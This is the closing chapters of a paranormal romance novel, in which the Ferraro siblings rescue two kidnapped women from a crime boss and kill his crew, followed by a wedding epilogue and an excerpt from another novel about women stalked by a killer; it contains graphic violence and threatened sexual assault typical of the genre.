They drove right up to the front door. Harold's finger bit deep into Francesca's arm as he yanked her out of the car. As she stumbled out, the dark clouds above their heads opened up and slammed them with rain. It poured down in long silvery streaks, falling from the sky to hit the ground in great splashes. Harold swore and dragged her up the two steps to the wide porch with its marble columns and overhead roof. Just those few steps out in the open had them soaked from the downpour.
Francesca looked back toward the other car. Emmanuelle was pulled out of the car and shoved hard against the hood, Marc behind her. Her hands were zip-tied in front of her and clearly he thought she was helpless. He reached around and caught her breast, squeezing hard through the open jacket, humping her from behind while the others watched and laughed.
Harold paused to watch as well, grinning and rubbing his crotch. "I get a turn at that," he announced to Francesca. "And if Barry doesn't kill you first, I'll be taking my turn with you, too."
Emmanuelle kicked up hard between Marc's legs, driving the heel of her boot into his balls and then slamming her head backward to smash his nose again. He screamed, a high-pitched shriek that had his friends howling with glee as he dropped straight to the ground. Arnold, the man who had driven the car Francesca has been in, bent over Marc to try to help him to his feet. Marc shoved at his hand and continued to writhe on the ground.
Jimmy stepped over him and grabbed Emmanuelle's arm. "Come on, wildcat. Let's get you out of here before he can move. He'll shoot you, and we've got plans."
If anything, the rain came down harder, making it difficult to see through the silvery bands. The wind howled an ominous warning, sending the sheets of rain straight at the house. It blew so hard the windows rattled and the porch itself was instantly drenched in the downpour.
Harold cursed more and thrust the door open, nearly running through it and dragging Francesca with him. "I hate this fucking place," he snarled. He hadn't taken the time to wipe the soles of his boots and he nearly slipped on the marble tiles. He had to let go of Francesca in order to keep from falling.
She stopped where she was, just inside the door, holding it open so she could keep her eye on Emme. Jimmy was hurrying her up the steps, head down to keep the rain from his glasses. Francesca didn't have her hands free, but she stuck out her foot and tripped Jimmy as he hurried inside. Stepping close to Emme, she looked her over carefully for signs of abuse.
Stefano would lose his mind if he could see his sister. Emme was very small, and the men had clearly slammed her around. One eye was showing signs of swelling shut and there were two more cuts on her face, one on her right cheekbone where someone had hit her with a fist and the other on her chin.
"I'm okay," Emmanuelle assured her. "Just getting to know them." She flashed a wan smile. Her bound hands were up by her breasts her and her jacket was once more in place, covering her tattered shirt and what lay beneath it. "He'll come, Francesca."
"That's what I'm afraid of." Because Stefano would walk into a lion's den for the people he loved, or the ones that needed his protection—or justice.
They were taken through the great room, and it was enormous. All marble floors and hanging crystal chandeliers. The furniture was velvet, and a gleaming grand piano sat at an angle, dominating one side of the room. A man played, the music swelling through the house, a haunting melody that seemed obscene as a backdrop for what Barry and his men had planned. The piano player looked up and winked as they were shoved past him. His leering grin revealed two metal teeth shaped like fangs. Francesca recognized him as one of Barry's immediate crew that had destroyed her apartment when she lived in California. Everyone called him Fang for obvious reasons.
They moved through a wide hallway with wainscoting and arched doorways opening into other various rooms. Two men played pool and both straightened from where they were bent over the table and smirked at the women, all the while rubbing their crotches grotesquely, deliberately showing both Francesca and Emmanuelle what was in store for them. She knew them from San Francisco when they'd helped destroy her apartments. Denny and Si were brothers and notoriously nasty.
Francesca glanced at Stefano's sister. She appeared completely calm and she made no move to wipe away the blood on her face or mouth. She kept her head up, but her gaze took in every detail of the house and the men in it as they passed. Francesca followed her lead, although her heart pounded like mad. Barry had a crew of ten men that he kept close to him. She'd recognized seven of them so far. That meant the other three had to be close. If so, that was ten men used to killing for Barry. There had been too many guards to count outside and she assumed they were local muscle Barry had hired.
Barry's right-hand man, Del Travers, stepped out of a room as they passed. He was dressed in his suit and tie. Francesca knew he was a lawyer and he'd gone to school with Barry. He stared at Francesca without expression. That was one of the things she always detested about him. He was cold, like a fish. She always wondered whether or not under that perfect suit he had scales.
Harold shoved her hard in the back, making her aware as she stumbled forward that she'd stopped for a moment to stare at Del. A slow burn of anger began to rise in her. She was tired of Barry taking her life apart piece by piece. She didn't want them touching Emmanuelle. They were sick, perverted men and they had no business being close to a woman like Emme. She hated that they'd put their filthy hands on her, that they'd slapped and punched her.
Barry Anthon had surrounded himself with men just like him. He walked over people, a monster, charming those he wanted to manipulate, and hurting those he thought he could. And he did it for fun. Emmanuelle bumped her slightly and she glanced at Stefano's sister. Emme shook her head, as if reading her thoughts of open rebellion.
"Don't provoke them," she whispered.
Francesca clamped her mouth shut and continued down the hall into a large room where Barry sat at a bar, waiting for them. The last two of Barry's crew were with him. All ten men. Stefano would have to face them all if he came for his sister and her. And he would come.
Larry Fort was behind the bar. He was one of the worst. He'd laughed when he'd shoved her to the floor and torn the sink out of the wall so water sprayed throughout her apartment. Then he'd smashed the toilet and systematically shattered everything she owned. His partner, George Hanson, stood to the back of the room, his gaze immediately going to Emmanuelle. He glanced at Francesca and then at his boss.
Barry sat in a high-backed chair, much like a throne, a glass of bourbon in his hands. He looked terrible, his face swollen and distorted so that his usual good looks were impossible to see. He had stitches in three places. On his cheekbone, above his eye and along his jaw, all on the right side of his face. His lips were grotesque, triple their normal size. Both eyes were black and his nose had tape over it where it had been broken.
He stood up slowly, every movement stiff. "Put them in those chairs." He indicated two straight-backed wooden chairs. One was set in front of his "throne" and the other was toward the end of the room, back in the shadows. The room was well lit with bright overhead chandeliers, just like in the great room. The floors were the same marble, but this room was quite a bit smaller in size.
The lights flickered several times as the storm raged outside. The rain beat continuously at the window and the wind shrieked in fury. Harold dragged Francesca over to the chair, pushing her nearly up against Barry, who stood very close—on purpose, she was certain—staring at her through the slits of his eyes. Yellowish goo clung to the corners of his eyes and up close, he looked even more ghastly than he had from across the room. Harold shoved her hard and she fell back into the chair. It nearly went over backward and neither man lifted a hand to keep her upright. She was just lucky that the chair didn't go all the way over.
"Welcome to my home away from home, Francesca," Barry said. He placed his hands on the arms of the chair, bending down to peer at her closely. "It's a far cry from what you're used to. That pissant Stefano doesn't know how to live with all the money he's got. You shouldn't have crossed me and neither should your bitch of a sister. I would have had more fun with her, showed her the good life before I turned her over to my boys. They're patient. Aren't you, boys?" He lifted his head to look at the men in the room.
Six of them. The four that had brought them from Theresa Vitale's home and the other two waiting with Barry. His other men were still scattered throughout the house. Francesca kept counting, hoping for better numbers, but any way she looked at it, Stefano was going to be in trouble because he wouldn't bring his cousins to this fight. Just his brothers. She knew that instinctively.
She didn't look away from Barry or react to his vile statement. She didn't doubt for a moment that Cella would have been turned over to his men after Barry was done with her. She was certain he'd done that very same thing to countless other women. They feared him too much to ever testify against him in court.
"I would have taken you in front of her. Her baby sister, so sacred, yet you gave yourself to the highest bidder at the first opportunity. I should have offered you money. You're a slut just like all the rest of them, aren't you? You'd do anything for money."
She lifted her chin. "You know better than that, don't you, Barry? You know Stefano will come for me because he loves me, that's what you're counting on. The fact that he loves me. And he loves Emme. You don't have that and there's a part of you that hates everyone because you don't. You're not capable of real love, Barry. You're just not. You'll never know what Stefano has. I love him unconditionally. With everything I am and I'd do anything for him. What woman will ever give that to you? You pay these men to be loyal. They aren't loyal out of love. You trick women and then you throw them away because you can't feel anything. Ever. I'm sorry for you."
As she talked his face reddened, the stain spreading across the swollen bruises. "I'm not the one sitting in a chair, tied up like a fucking turkey, dessert for the men after they kill Stefano Ferraro."
"He's hard to kill," she said softly. "That's what you're worried about, isn't it? You have ten men inside this house, maybe more. You have another dozen outside. What does that say to your crew and me? You're terrified of Stefano." She leaned closer to him, her gaze steady on his. "And you should be."
"He's going to find his sister and you the center of attention. That should distract him just a little if he has such love for you both." He sneered at the word _love_.
She didn't answer him. Just watched him and prayed Emmanuelle wouldn't draw attention to herself. If she did, Barry would do something terrible. She felt the hatred pouring off of him every time he made a reference to Stefano. More, he was just a little insane. There was something very scary in his eyes.
Thunder roared outside, close, shaking the house, rattling the windows. The lights flickered again and went out, the room going dark. Barry swore. "What the hell?"
"The generator will kick in, boss," George assured. "Give it a minute."
There was a short silence. Francesca could hear Barry's labored breathing. He was much more afraid of Stefano than he wanted anyone to believe. When the lights flickered back on, dim and yellow, casting shadows all over the room, she could see sweat beaded on Barry's face.
"I want you two guarding the door," Barry instructed, waving his hand at Marc and Jimmy.
"I've got a score to settle with that little bitch," Marc said, indicating Emmanuelle with a chin lift.
"Yeah, boss, his balls are swollen," Harold said gleefully. "She dropped him twice. Smashed his face. With her hands tied."
"Little thing like that and he's not man enough to handle her." Arnold took up the taunt.
"Shut the fuck up," Marc raged. "I'll show you I can handle her."
"Get out and guard the door. Do it now before I put a bullet in your head. I said you'd have your chance at her, all of you, and I meant it. Her fucking brother will come. He'll want to look like the brave hero for his fiancée. I want you waiting for him. Kill him on sight." As he issued the order, Barry kept his gaze fixed on Francesca's face.
She didn't blink. Didn't look away. Inside, her heart stuttered dangerously, but she didn't give any visible sign that she was in any way worried. She wasn't about to give him that kind of satisfaction.
"You're so sure he'll save you," Barry said bitterly. "Maybe it will be too late and he'll come in here and find your throat cut." He stepped close to her and shoved a knife against her throat, the blade biting in.
She didn't pull back. "Like this hasn't been done a million times to me already, Barry. You need new material." Francesca forced boredom into her voice. She even gave a slight yawn. "My first week or two here in Chicago, I had this happen to me twice."
"You want new material?" Barry snarled. He pulled the blade away from her throat, his yellow slits for eyes reddening along with his face. "You want to see new material?" he repeated, his voice swinging out of control. High-pitched. Insane even. He gripped the knife in his fist and brought it down hard into her thigh.
She screamed as the blade tore through the outside of her thigh and came out the other side. The pain burned through her, leaving her breathless, raw, her heart pounding hard enough to hear. Her blood roared in her ears. She'd heard of men being tortured, stoically not making a sound and she couldn't imagine how they did it. She couldn't catch her breath, or take her eyes from the knife handle sticking out of her thigh.
Barry pulled the knife free and wiped the blood on her jeans, grinning at her. "That new enough for you, bitch? Do you want more? I can show you more." Hatred burned in his eyes. Maniacal glee. He got off on her fear. Her pain. She saw the truth in his eyes. He needed to see those things. She'd been too calm and hadn't given him his fix, or the respect he felt he deserved.
Mesmerized by the look on his grotesquely swollen face, and the red-yellow of his eyes, Francesca watched him touch the tip of the blade to her left shoulder. He placed one hand on the hilt of the knife, ready to drive it through her flesh there. All the while he smiled at her. George laughed. Harold cleared his throat. No one else made a sound, just waiting. All of them watching as mesmerized as she was, while Barry drew out the torment by forcing her to wait.
"Why is it that when a man doesn't like something a woman does, something he would do himself, he calls her a bitch?" Emmanuelle asked, her voice as calm as ever. "I've always wondered about that. Is it because you're such a little bitch, Barry? Always whining to Mommy when things don't go your way? I saw you at the racetrack when your car didn't win and you threw that little fit. That was bitch behavior. Did anyone call you a bitch then? Because I thought you were a total bitch. You moan and groan and complain, but act like a mean girl in high school. Petty and cruel just because you're one of the popular kids. But you really were only popular because Mommy and Daddy had money."
Francesca risked a look around the room, her breath hitching in her throat. Emmanuelle was playing with fire. Barry would kill her for that. A blow to his pride would be worse to him than a physical beating. The men were all smirking, not daring to look at their boss, but obviously enjoying the fact that Emmanuelle had taunted Barry.
Barry turned his head slowly toward the shadows where Emme sat in the chair, her hands bound in front of her. He reminded Francesca of a snake with his red slits for eyes and his cold expression. She moistened her lips, terrified for Emmanuelle. Barry stepped back away from Francesca, never taking his eyes from Emme.
Francesca timed her moment, waiting until Barry was within five feet of Emmanuelle. "Actually, Emme," she said. "He isn't a bitch—he's a pussy. You're really just a pussy, aren't you, Barry? You always have to have your big bad men around because you can't get it up yourself so you need them to take care of a woman while you can only watch." She'd never said that word in her life. Not once. But she'd had to think of something to get his attention off Emme.
Her leg burned and blood stained her favorite pair of blue jeans, but she'd all but forgotten about the stab wound in her fear for Stefano's sister. Barry would kill her for certain.
Barry made a sound in his throat. A snarl. Like a dog might snarl at something or someone provoking it. He spun around, moving back toward Francesca. Lightning zigzagged across the sky, lighting the room for a second, throwing their shadows across the floor and up along the walls. The dull yellow lights flickered. All attention was on Barry. No one could look away, hypnotized by the crazed expression on his face. Two lines of shiny saliva hung in strings from either side of his mouth. He looked almost as if he was foaming at the mouth, like a rabid animal.
"You're dead. That sanctimonious son of a bitch is going to find his sister and his fiancée dead. And then I'm going to kill him." He rushed toward Francesca.
"You can't kill Stefano, you moron," Emmanuelle taunted. "I'm tied up, and you can't kill me. How do you think someone as inept as you could possibly best my brother?"
Barry spun around, this time only feet from Francesca. She could smell the sweat pouring from his body. Feel the heat of his anger. She looked toward the shadows where Emme sat, as did everyone in the room. In the dim lighting Francesca could no longer see anything but the chair legs. The rest of the chair and even Emmanuelle's legs had disappeared into the shadows. Barry took three steps toward the other side of the room, desperately seeking to find Stefano's sister.
Francesca felt hands on her upper arms. Emmanuelle helped her up, forcing her to step forward right into the mouth of one of the shadows. There was a terrible wrenching sensation at her body, as if she was flying apart, and then Emme went still, arms around her.
"Don't move," Emmanuelle said very softly in her ear. "They can't see you. Don't make a sound and don't move."
Francesca nodded, clinging to her, afraid she'd fall, knowing Emmanuelle had taken her inside a portal. Her leg throbbed and burned. It felt like rubber, but she was determined to stay upright. The zip-ties were gone from Emme's hands, although Francesca's were still on, binding her wrists together, so she had to curl her fingers into Emmanuelle's jacket.
Barry rushed over to the chair where his men had shoved Emmanuelle Ferraro. The zip-ties lay on the floor and she was no longer there.
"Boss . . ." Harold said. Caution in his voice.
Barry spun around and to his horror, Francesca was gone as well. "Where are they?" he demanded, gripping the hilt of the knife, holding it in front of him as if he could defend himself against an unseen attacker. "Where the hell are they?"
His men shook their heads.
"Well, find them," he screamed. "Find them right fucking now. If you don't bring them back here in five minutes I swear I'll cut your heads off."
Harold, Arnold and George rushed toward the door. Larry remained leaning his weight against the bar, grinning like a maniac, not obeying a direct order. That was fine with Barry. He needed a target to take out his wrath on.
"I'll carve my fucking name in your throat," he promised, and stalked across the room. The urge to kill was strong. No one humiliated him and lived to tell about it. He was going to carve those women into little pieces, but first every one of his men was going to do them as many ways as possible and he'd film it all and make Stefano Ferraro watch the film before he died.
The Ferraros had always acted so high and mighty, everyone was afraid of them. Well, everyone feared the wrong man. He reached the bar and stepped around it, coming up on Larry's left side. The man hadn't moved a muscle. Hadn't looked at him, when he'd been staring so intently just moments earlier. Larry was _too_ still. A chill went down Barry's spine and he stepped back. He could see that Larry's head was at a peculiar angle, as if his neck was broken. Barry backed away from the bar. The man was definitely dead. But how? No one had come into the room. No one had been close to Larry.
He'd heard rumors about the Ferraro family. Stupid, ridiculous, _impossible_ rumors, about how they could make things happen to people without ever leaving their homes. That their enemies just died or disappeared. It was nonsense. They weren't part of any crime family. He'd had his connections check several times, just to be certain he wasn't stepping on toes when he'd gone after a couple of drivers on the track. He'd been assured they weren't in organized crime, although the rumors persisted.
Lightning lit up the room and almost simultaneously, thunder boomed, shaking the house again. It was a huge, well-built house and shouldn't be shaking. The rain lashed at it and the wind shrieked and howled. Shadows lengthened and grew, throwing out strange-looking tubes from every direction. The tubes looked like arms reaching for him. Out of the shadow a knife appeared, the tip biting deep into his forearm.
He screamed. Eloisa Ferraro was suddenly there. "You shouldn't have stabbed her, Barry," she said, and then she was gone again, as if she'd never been. As if she was a ghost. A fucking phantom.
With an oath, he turned and ran toward the door, toward the safety of his men. Yanking the door open, he tripped over something heavy lying on the floor. He went down hard. Very hard. His body rolled and with a sob of frustration he pushed himself to his hands and knees, looking quickly around to see where his crew was, to see if any of them had witnessed this further humiliation.
Marc sat on the floor across the doorway, his body tied in a web of intricate knots, his head drawn back at an impossible angle. It looked as if he'd struggled and the ropes around his neck had tightened until he'd strangled. The knots formed a strange, elaborate harness. Several feet from him, suspended from the ceiling by his wrists, was Jimmy. The knots formed what appeared to be long sleeves that went up his arms to his shoulders and formed a circle around his throat. Staring up in horror, Barry could see where Jimmy had held himself as long as possible, but then his strength gave out and he'd hung himself.
Barry swore and crawled backward, scrambling fast. He'd heard of such knots, but he'd always associated them with erotic bondage. He'd gone to a demonstration once, but it was an art he didn't have the patience to learn. During the demonstration, he'd heard a bit of history and knew the knots had originally been used to restrain prisoners and sometimes torture them. He hadn't listened too closely because he was only interested in watching the naked woman get tied up.
A shadow moved on the floor where the body swung and once again those strange feelers reached toward him like arms. A knife plunged into his thigh, a fist around the hilt. It emerged from the shadows just as the one before it.
Then Ricco was there, shaking his head. "Shouldn't have touched her with a knife, Barry. You're not going to be in one piece by the end of this." Then he was gone.
_Gone._ Disappeared. The knife was still in his leg, blood bubbling around the blade. Barry was afraid to pull it out, but it was grotesque there. He was losing his mind. There was no other explanation. Still, he was bleeding from two knife wounds, but shadows didn't come alive. That couldn't happen. Not in real life. Was he hallucinating?
"George! Arnold!" He called out for the two men who had been with him the longest other than Del. Del was a great lawyer and he loved to indulge himself with women, but he wasn't as good at kicking ass as George and Arnold.
No one answered him. Other than the howling wind and the sound of the piano, he couldn't hear a sound coming from any room. No one was coming to help him. He had to jerk the knife out of his leg on his own. Taking a deep breath, he wrapped his fingers firmly around the hilt and yanked hard. For a moment the world spun and was edged in black. The pain was excruciating, worse than when the blade had gone in.
Barry dropped the knife and ripped his shirt to wrap the wound up. It hurt like hell but there were no signs of arterial bleeding. The stupid son of a bitch couldn't even find an artery. How stupid were the Ferraro brothers anyway? Bringing a knife to a gunfight? He tossed Ricco's knife away and then his own to pull his gun from its holster under his arm. He'd all but forgotten it. He didn't generally do any of the strong-arm stuff—those were his men's jobs—but he could if he had to. This was a case of if he wanted the job done right, he'd have to do it himself.
Del. Del was close, in the next room. His lawyer didn't want any part of what was going to happen to Stefano. He didn't like getting his hands dirty. He claimed he was the law and he needed deniability, but he was a fucking coward. He liked to participate with the women. In fact, he was one of the worst, beating the crap out of them while he fucked them before going home to his wife and children. He especially liked young girls. Teens. More than once Barry's men had had to clean up his messes, but he was a damn good lawyer so Barry kept him around. This time, the bastard would use a gun.
Barry pushed himself to move. He was shaking and that just pissed him off more. The door to Del's room was open and he stepped inside. Del had draped himself on the bed, hands behind his head, staring up at the ceiling. The rain slammed against the window so hard the window rattled. Shadows played along the walls and across the bed.
"Get up, you lazy fuck," Barry snapped, impatient with the way Del always chose to stay out of the muck with the rest of them.
"He can't, Barry," Emmanuelle's soft voice said in his ear. She was right behind him. Close. He could feel her breath against his neck. "He's dead. So sorry. His neck broke when he tried to rape me."
Before he could turn, before he could make a move, a hot blade sank into his side. Low. Between his ribs. Fire flashed through him. His breath left his body in a concentrated rush or he would have screamed the house down.
"You shouldn't have stabbed Francesca, Barry. It was very stupid of you."
The knife retreated and he spun, one hand clamped to the wound, the other clutching the gun. He whirled, cursing. Tears leaking out of his swollen eyes. There was no one there. Nothing but shadow. Breathing heavily he leaned against the wall, trying to think. The stab wound in his leg was the worst. Ricco had really nailed him. Eloisa barely scratched him. Emme's knife hurt, but really, how bad was it? He could still breathe. He had the gun. Fuck the damn Ferraro family.
He just needed to rally his men. Denny and Si were in the poolroom. Lazy bastards. They were always clowning around, oblivious to what was happening around them. He'd shake them up. He paid them damn good money to do what he said. He hurried down the hall, dragging his leg, cursing every jarring step. He slammed his fist on the poolroom door and it sprang open.
Denny was on the floor. He had marks across his face, as if he'd been caned. His pool stick was still clutched like a weapon in his hand. Si was on the table, the same marks on him, his pool stick broken. Barry's heart began to pound. Hard. He tasted terror for the first time in his life. The wind rose and drove the rain at the bank of windows. Outside the trees swayed macabrely, the shadows dancing through the window onto the walls and floors, even across Denny's face as if laughing at him.
"Shouldn't have stuck that knife in her, you fuck," Giovanni said, and slammed a knife into Barry's good leg.
Up high. In his thigh. Almost an identical wound to the one his brother Ricco had made. Barry screamed. He couldn't stop screaming as he fired the gun repeatedly at Giovanni. But Giovanni had vanished as if he'd never been. As if he wasn't human. A phantom. A ghost. Barry wiped his eyes with his gun hand and slumped against the wall. He had to get out of there. He could hire someone to kill Stefano and his entire family. Wipe them out. He would get satisfaction from that. He didn't need to see it done, just so long as it was done.
He wrapped the wound on his leg and headed for the kitchen, intending to go out the back way. There was a car waiting outside. There was always a car. He'd sent Arnold and Harold out to hunt the women down. If he was lucky, they were still alive and they could get out with him. He stopped just outside the kitchen. There was no door, only an archway. The room seemed quiet—so quiet he could hear the piano. Fang stilled played. He was still alive. The music sounded better than it ever had—but bizarre, as if the drama unfolding in the house was nothing more than a theater play that he was stuck in the middle of.
Arnold sat at the kitchen bar, a sandwich in front of him. There was a whole ham cut into thin slices on the bar beside the plate with the sandwich. Harold was against the wall behind the bar. Barry stepped inside and hurried to them. "Get up. We've got to get out of here. The Ferraro brothers are every . . ." He trailed off.
Arnold was pinned to the chair by a series of knives, his eyes wide open and staring in horror. Harold was held to the wall by knives going from his belly to his chest. Barry staggered back, reaching for the archway to hold his trembling body up. He looked wildly around. There was no one. Only silence. The shadows played across the back door as if daring him to enter them. He shook his head, sobbing. No way was he going out that door, not with the shadows moving across it.
"I like knives, Barry. Learned to cook in Europe when I was training there," Taviano said, his voice close to Barry's neck. "And to use knives for all kinds of purposes."
Barry brought up the gun and Taviano slapped it away. Easily. So easily. Barry closed his eyes, knowing what was coming, trying to steel himself.
"I gave them a little demonstration, but they weren't impressed, or at least they didn't say so. You know you shouldn't have stabbed her. She's ours. Dumb, Barry, but then you always were a dumb prick."
The knife went in on the other side, in the same spot where Emmanuelle had stuck him. He knew there was no sense in looking for Taviano. He'd disappeared, just as all the other Ferraros had disappeared. Like ghosts. Barry stayed very still, leaning against the archway, sobbing. He had no idea how long he stayed there, blood running down his clothes, his mind uncomprehending.
This couldn't really be happening to him. He always won. He was always in control. Now he was staggering through this mausoleum, bleeding from multiple stab wounds, his men dead inside.
The sound of the piano penetrated through the lashing rain and shrieking wind. Lightning still lit up the sky, as if the storm stayed crouched over the estate he'd rented. _Fucking Ferraro family. Think they own Chicago._ He pushed off the wall and stumbled down the hall toward the great room and the sound of the piano. Fang was still playing, seemingly unaware of the deaths taking place around him. More, the concerto he played was intricate, difficult, something Barry wouldn't have thought in Fang's repertoire. Barry had gone to several concerts with his mother and heard the greatest pianists in the world play. Fang wasn't one of them, yet his playing now was superb. The beautiful music sounded so incongruous as a backdrop for the ugliness happening inside the house.
Barry burst into the great room and the first thing he saw was George. The man was lying beside the piano bench, his neck at an odd angle, his eyes open and staring in horror. Fang was facedown, just on the other side of the piano. The man playing was Vittorio Ferraro. He turned suddenly, one hand lifting from the keys. In one movement he picked up the small throwing knife, turned and flung it at Barry, all the while his other hand still played. Then his second hand joined, even before the knife sank into Barry's shoulder.
"Shouldn't have stabbed her, Anthon," Vittorio said, and dismissed him, keeping his back to him as he played the concerto.
_Dismissed_ him. As if he were of no consequence. It was humiliating. If he'd still had his gun he'd have killed the son of a bitch. The knife barely hurt, not with the wounds in his thighs throbbing and burning. Not one knife had touched a vital spot. Not one . . .
Barry looked around him, his heart pounding hard. He felt hands on either side of his head. Almost gentle.
"You're dead, Barry. Justice is served." Stefano broke Barry Anthon's neck. He stepped back, dropping the body to the floor. "Did you call Sal? He'll need to really clean this place."
"It's done. Get your woman and let's go home."
Stefano nodded and went back to get Francesca. He stepped into the portal where she was waiting for him with Emme. Emme had wrapped up the wound in Francesca's thigh, but Stefano lifted her into his arms. "Put your arms around my neck and your face into my shoulder, _bambina_. Keep your eyes closed. I don't want you to see any of this."
"Okay," she agreed softly.
"It's over, Francesca—he's dead. He'll never hurt another woman."
"Thank you, Stefano. All of you. Let's go home."
Stefano stepped into the next shadow and took his woman home.
# EPILOGUE
Stefano stood at the altar, his heart pounding. He had never really believed this day would come. He glanced at his brothers and saw the same look on their faces that he knew was on his own. Disbelief. Awe. Raw hope. They were shadow riders, men and women with responsibilities that didn't allow them to choose what they wanted. Finding someone who could love them, someone willing to share their lives, was rare and nearly impossible to believe could be true.
But there she was. Francesca. His woman. Walking toward him, looking like a vision, too beautiful and ethereal to be real. Dressed in white lace, her gown clinging to her figure, showing her curves and that ridiculously small waist he liked to put his hands on. Her hair was down, just as he'd requested, when his mother and sister were insistent on her putting it up. She'd done that for him, argued and won just to please him. Her veil was intricate lace surrounding her face. She was on Pietro's arm.
Emilio and Enzo had vied for the privilege of walking her down the aisle to him, but Pietro had asked, and in the end they decided that she needed family of sorts. Joanna stood up for her. Enrica and Emme as well. Enrica's concussion hadn't kept her out of the wedding party. Stefano couldn't see them. Only Francesca. Only his woman, walking toward him, giving not only him, but his brothers and sister the promise of a future.
The church was overflowing. Family. Cousins from New York and San Francisco. The branch in Los Angeles had drawn the short straw and had to stay away. The entire neighborhood, everyone in their village, had been invited, and most came. He'd even spotted Dina, wearing Francesca's coat, seated at the back of the church.
Nicoletta made her first public appearance with Lucia and Amo, sitting between them, looking pale and a little frightened, but she was there. Still, Stefano could only really see his woman. He took the steps down to her, took her hand from Pietro and tugged until she was beside him, right where she was meant to be.
They turned together and faced the priest, his heart swelling with joy as he said his vows to love and cherish her. He would . . . for all time.
Keep reading for an excerpt from the next Carpathian novel by Christine Feehan,
DARK CAROUSEL
Available August 2016 from Berkley Books
#
Charlotte Vintage pushed the stray tendrils of dark auburn hair curling around her face back behind her shoulders and leaned toward her best friend, Genevieve Marten. Icy fingers of unease continually crept down her spine. There was no relaxing, even with a drink in front of her and the pounding beat of the music calling to her.
"We know they followed us here, Genevieve," she whispered behind her hand. Whispering in the dance club with the music drumming out a wild rhythm wasn't easy, but she managed. They had accomplished what they'd set out to do, but now that they had drawn their three stalkers out into the open, what were they going to do?
"We must have been crazy, thinking we could do this, Genevieve. Because we have no business exposing ourselves to this kind of danger." Mostly Charlotte didn't think she should have exposed Genevieve to the danger. At least not both of them together. Not when they had a three-year-old to consider.
She made a slow perusal of the club, trying to take in every detail. The Palace was the hottest dance club in the city. Everyone who was anyone went there. In spite of the fact that it was four stories high, every single story was packed with bodies, as well as the basement underground club. Men tried to catch her eye continuously. She wasn't going to pretend she didn't know Genevieve was beautiful, or that she wasn't so hard on the eyes either. The pair of them together drew attention everywhere they went—which was a bad thing.
"We're acting like normal women for a change," Genevieve said a little defiantly. "I'm tired of hiding. We needed to get out of the house. _You_ needed to get out of the house. You work all the time. Honestly, Charlie, we're going to grow old hiding away. What good has it done us? We're not any closer to finding out who is doing this to us."
"I can't afford to be bait," Charlotte pointed out. "And I don't like you being bait either. Certainly not both of us together when we have to look after Lourdes. She can't lose everyone in her life. It goes against everything in me to hide away, but I've got to consider what would happen to Lourdes if I was killed. They already murdered her father. She has no mother. I'm all she's got." When Genevieve sent her a look she hastily amended, " _We're_ all she's got."
Charlotte wasn't the hide-from-an-enemy type any more than Genevieve was. They'd met in France, both studying art. Genevieve painted and she was good. More than good. Already her landscapes and portraits were beginning to be sought after by collectors. Charlotte restored old paintings as well as old carvings. Her specialty and greatest passion was restoring old carousels.
Genevieve was French. She was tall with long, glossy dark hair and large green eyes. Not just green, but deep forest green. Startling green. She had the figure of a model, and in fact had had several major agencies try to convince her to sign with them. She was independently wealthy, having inherited from her parents and both sets of grandparents.
Genevieve's maternal grandmother had raised her. A few months earlier, that grandmother, her last living relative, had been brutally murdered. Several weeks later, a man Genevieve had been dating was murdered in the same way. His blood had been drained from his body and his throat had been torn out. Charlotte's mentor, the man she was apprenticing under, was murdered a week after that.
Twice, when they were together, the two women had become aware that someone had tried to enter their house late at night. They'd locked all windows and doors, but whoever was after them had been persistent, rattling the glass, shaking the heavy doors, terrorizing them. The police had been called. Two officers were found dead in the courtyard, both with their blood drained and their throats torn out.
Charlotte received word a couple weeks later that her only sibling, her brother, had been found dead, murdered in the same way. He was in California. In the United States. Far from France. Far from her. He'd left behind his business and his daughter, three-year-old Lourdes. Lourdes' mother had died in childbirth, leaving Charlotte's brother to raise her. Now it was up to Charlotte. Genevieve had decided to come with Charlotte to California. Whoever was after the two of them was in the States, and Genevieve wanted to find them.
Genevieve laid her hand over Charlotte's. "I know Lourdes is your first priority. She's mine as well. She's a beautiful little girl and obviously traumatized by what she saw. Her nightmares wake me up and I'm not even in the same house."
Charlotte knew Genevieve wasn't exaggerating. Genevieve always knew whenever Lourdes had nightmares, even if she wasn't staying with them. At those times, she always called to make certain the child was all right. Lourdes had been present when her father had been murdered. The killer had left the child alive and sitting beside her slain father. She'd been alone in the house with his body for several hours before he was found by the child's nanny, Grace Parducci, a woman who had gone to school with Charlotte and had known her brother and his wife.
"The police aren't any closer to solving the murders, Charlie. Not here and not in France. Lourdes is in danger, just as much as we are. Maybe more." Genevieve leaned her chin onto the heel of her hand as she hitched her chair closer to Charlotte's in order to be heard above the music. "I've been thinking a lot about this and how it all got started. What we did to draw some crazy person's attention."
Charlotte nodded. She'd been thinking about it as well. What else could she think about? Both of them had lost every family member with the exception of little Lourdes. Charlotte didn't want to lose her, and lately, in spite of taking every precaution, she hadn't felt safe. At. All. Grace had reported being followed and feeling as though someone was watching her as well.
Charlotte knew there was a part of her that had come with Genevieve to the nightclub in an effort to try to draw the murderer out. She'd certainly come prepared. She had weapons on her. Several. Most unconventional, but she had them. She honestly didn't know if the men stalking them were the same ones that had murdered her brother, but it seemed likely.
Charlotte wasn't the type of woman to run from her enemies, and it upset her to think her brother's murderer was going free—that he or she was trying to terrorize them. No, not trying. She was terrified for Lourdes. She had no idea why the little girl had been left alive, but she wasn't taking any chances with her. Coming to the nightclub without her was a chance to draw the killer out without endangering Lourdes.
"That stupid psychic center we went to together for testing," Charlotte murmured. "It gave me the creeps."
Genevieve nodded. "Exactly. The Morrison Center. We went for a lark and it wasn't in the least bit fun. They got interested in us way too fast and kept asking very personal questions. When we left, I thought we were followed."
Charlotte had thought so as well. The testing site had been a little hole in the wall but in a high-traffic area, so neither thought anything of it. They both often said they were "psychic" and thought it would be so much fun to go in and test, just like having their palms read. Something fun to do. It hadn't turned out to be so fun.
Charlotte looked into Genevieve's green eyes and saw the same pain she was feeling reflected there. Who could have known that something they'd done on a whim would have such horrific consequences? It was like that with them. They both thought along the same lines, knew what the other was thinking.
"Ever since going there, I feel like we're being watched," Genevieve said. "And not in a good way. When we were still in France, before _Grandmere_ was murdered, a couple of men asked me out and I got this really creepy vibe from them. When they talked I just kept having the image of the testing center crop up in my mind and I couldn't help associating them with it."
Charlotte nodded her understanding. The same thing had happened to her more than once. And then the murders happened. Since then, they'd been much more careful. No dates. No fun. No strangers in their lives. Charlotte ran her brother's cabinet-making business, and she did a little art restoration on the side, but she hadn't really been working at her own business for months. Not since she'd returned to the United States.
